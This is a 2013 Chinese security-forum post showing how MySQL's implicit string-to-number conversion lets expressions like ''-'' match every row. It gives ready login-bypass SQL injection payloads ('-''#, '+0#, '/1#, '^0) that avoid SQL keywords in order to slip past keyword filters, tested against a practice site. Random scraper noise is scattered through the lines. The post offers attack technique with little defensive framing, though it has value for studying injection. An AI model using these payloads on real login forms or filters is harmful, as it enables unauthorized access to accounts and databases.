找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2172|回复: 0
打印 上一主题 下一主题

使用MySQL字符串运算实施精巧化SQL注入攻击

[复制链接]
跳转到指定楼层
楼主
发表于 2013-11-23 16:20:34 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
我们先来看这样一个场景。+ R: o3 W4 S; K! u9 X: |# `# q
有以下表结构:
- u, ^8 X% l( W0 x2 b) x2 j" U& ~' v& I, H& D6 H0 I
mysql> desc admin;8 R( J0 I1 M( ^  a% m
+----------+--------------+------+-----+---------+----------------+
- k: r1 b9 ]# [7 [( e7 v' e| Field    | Type         | Null | Key | Default | Extra          |  s+ |' T; B/ c8 `; Y( q1 d, C
+----------+--------------+------+-----+---------+----------------+
# b9 ]* e6 `' v- J% Q1 O( F| id       | mediumint(9) | NO   | PRI | NULL    | auto_increment |
5 D4 ]1 k' J3 k& @) F| name     | char(32)     | NO   | UNI | NULL    |                |
3 H) Q: I* {' u  `% z/ c$ c, W8 R+ V| password | char(32)     | NO   | UNI | NULL    |                |
. L" Q1 b- Y" q6 E+----------+--------------+------+-----+---------+----------------+* P1 Z5 L+ m# X+ ?
3 rows in set (0.00 sec)/ V6 _; F2 r  y# h9 d+ V( a6 g: i
执行select * from admin;,成功返回所有记录内容。2 }9 g' `& r2 t3 {' h

& \$ p% e+ h6 `+ F: l( L8 b& }; C0 q( z/ B/ N& c8 p+ ]. H& K6 y3 h% d
+----+--------+----------------------------------+
4 c% E$ D3 |5 w7 o/ [+ t| id | name   | password                         |$ n! R9 C. U3 Z  S, `/ }
+----+--------+----------------------------------+8 j. N. c. U/ i  V
|  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |, R% _- P1 M4 d1 [; u$ M
|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |
# Z& b# }' e4 |5 k3 @; U|  4 | n00b   | ff80e8508d39047460921792273533a4 |/ L7 n8 b0 P# R
+----+--------+----------------------------------+
! d2 r6 r. ?2 Z4 X3 j3 u3 rows in set (0.00 sec)
! `) ~' f8 q3 L执行select * from admin where name=”;,没有匹配到任何记录。 $ a# a- n. i2 H: e; }6 y

( b% s0 s# D1 Amysql> select * from admin where name = '';/ X. C( x% v% F) Q" _
Empty set (0.00 sec)
, B* i  e! e5 v/ J2 G6 F* g4 i那么我们来执行select * from admin where name = ”-”;
" ?' l  ?5 E  n; P: V
" w  I! j/ T1 u8 f/ r$ B9 p* f4 I* r/ p% G( a& N) d# F; m
+----+--------+----------------------------------+: L6 }% T6 E9 G1 X( Y& j
| id | name   | password                         |# ]' s6 w! ~- k
+----+--------+----------------------------------+4 |; f. L$ q8 B# p' B
|  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |
- n$ @5 x+ Y' _/ h2 Q$ W5 c/ v$ p|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |
2 J% p$ M( X8 Y|  4 | n00b   | ff80e8508d39047460921792273533a4 |, X- v. n" r' p" D$ m( e
+----+--------+----------------------------------+& d/ y5 L4 |  ?( C$ P/ q8 ]! m
3 rows in set, 3 warnings (0.00 sec)' d* F3 \+ U. \# O/ j2 J) ?9 `' d6 s
可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息: ) \- D% _2 c& \4 N  ]) ~
/ i2 ?5 |! J7 n4 T# j
mysql> show warnings;( {8 z( J0 R8 w, y  R$ i( \6 E0 c
+---------+------+------------------------------------------
' Y8 f. y9 X! }% i) D6 Y| Level   | Code | Message( s! d/ w! l8 F8 t
+---------+------+------------------------------------------4 Y! M7 W3 ]1 [8 _5 n! D
| Warning | 1292 | Truncated incorrect DOUBLE value: 'admin! F% z4 c9 Q; O6 x; e% O
| Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s
8 `% k: a- S5 R6 n| Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b0 t! J2 ~+ Q1 \, ^/ @! D
+---------+------+------------------------------------------0 w, t) `1 n5 H  \- V
3 rows in set (0.00 sec)2 E; x3 u! w: ~6 J- Q
提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。 ( z, O) s8 m4 y+ W  f

$ U9 K$ U) R  Umysql> select ''-'';; ^% |  w' Y6 S1 I- r
+-------+
3 H) ]+ {5 Z3 |8 r| ''-'' |
. u- c# L! s% ?+-------+1 _9 X0 m, K  s. z
|     0 |* ?( v* S6 J2 J3 \
+-------+
- c: _  F8 Y$ _# S) {! K5 N- B1 row in set (0.00 sec)+ h3 ]/ C8 B! z, @
返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0:
+ r& u; @% v: c  N* t5 V
8 b& U- ]4 y9 p/ T& ^4 e! Gmysql> select CAST((select name from admin limit 1,1) as DECIMAL);
) @- F" k, k; t$ `7 K+-----------------------------------------------------+" b: x/ u: B# r( l$ v% T
| CAST((select name from admin limit 1,1) as DECIMAL) |
$ q: n5 {+ ?4 e  _; \* d+-----------------------------------------------------+2 y% \% U& {2 R( v* g/ a
|                                                   0 |' Y7 |& P+ B8 V1 j$ O  {* i
+-----------------------------------------------------++ c0 ~* u" n7 X& e# r
1 row in set, 1 warning (0.00 sec)
$ o* n; S0 M( ^, i7 [因此where语句构成了相等的条件,where 0=”=”,记录被返回。
- A& f4 m& t5 q6 @8 Z, k# E! ~+ y  d% Y: _
SQL注入场景: http://www.sqlzoo.net/hack/
2 T9 Z- N% D8 S1 g: {) H3 V8 [* u9 \+ I

8 A4 h6 S9 Y/ o, V; T3 T) A! c. c5 c* d) R
/ _- k( b+ F* }5 X0 i
如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。 ! Q6 T' H0 J5 t

7 l# N* N* t, g3 x2 E3 t0 t那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。
/ s3 D, ]) N- t+ y: C# q* Y3 \1 H" S- n# ~
% |. t4 l& J1 P6 `5 @) g( A

/ Z; ]9 g7 ~0 ^; F9 b
9 g  f) T! R: Y/ a4 Z0 Z仅仅在name子段输入’-”#,password留空,即可绕过登录验证。
/ X) e6 j1 v# ~+ R( I7 ~; B; h$ T2 |3 ?8 N# W
   ; H& @; F: X( f4 U; y2 c4 x" C& i9 s
+ L: _+ `8 h) W5 s+ E$ A
除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可
& D+ o0 g& h& Z/ I! L% g3 ?  J
$ E8 ]. _$ p' b9 p' j8 V3 F1 ^. J, G7 V& ?
mysql> select ''/1;
" ?- Y2 t" Y& t( {+------+
2 c. o* e, h" r; q5 ?' m| ''/1 |0 }3 W* `2 w+ `) f& x3 `. H
+------+
" d, M: B* d; `7 F$ w- Y|    0 |: u, j5 F/ |3 T/ s
+------+
6 ~4 x% v8 `% ]6 x3 M! ?! W  T1 row in set (0.00 sec)0 a1 J. d, D1 J4 N0 W1 w" \0 b: h7 V
类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。    ]& j& _* O1 R* b5 k2 K& f7 {
& J* G3 o. f+ W& J% t7 U
利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。
5 P4 L# w, X8 V$ d
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表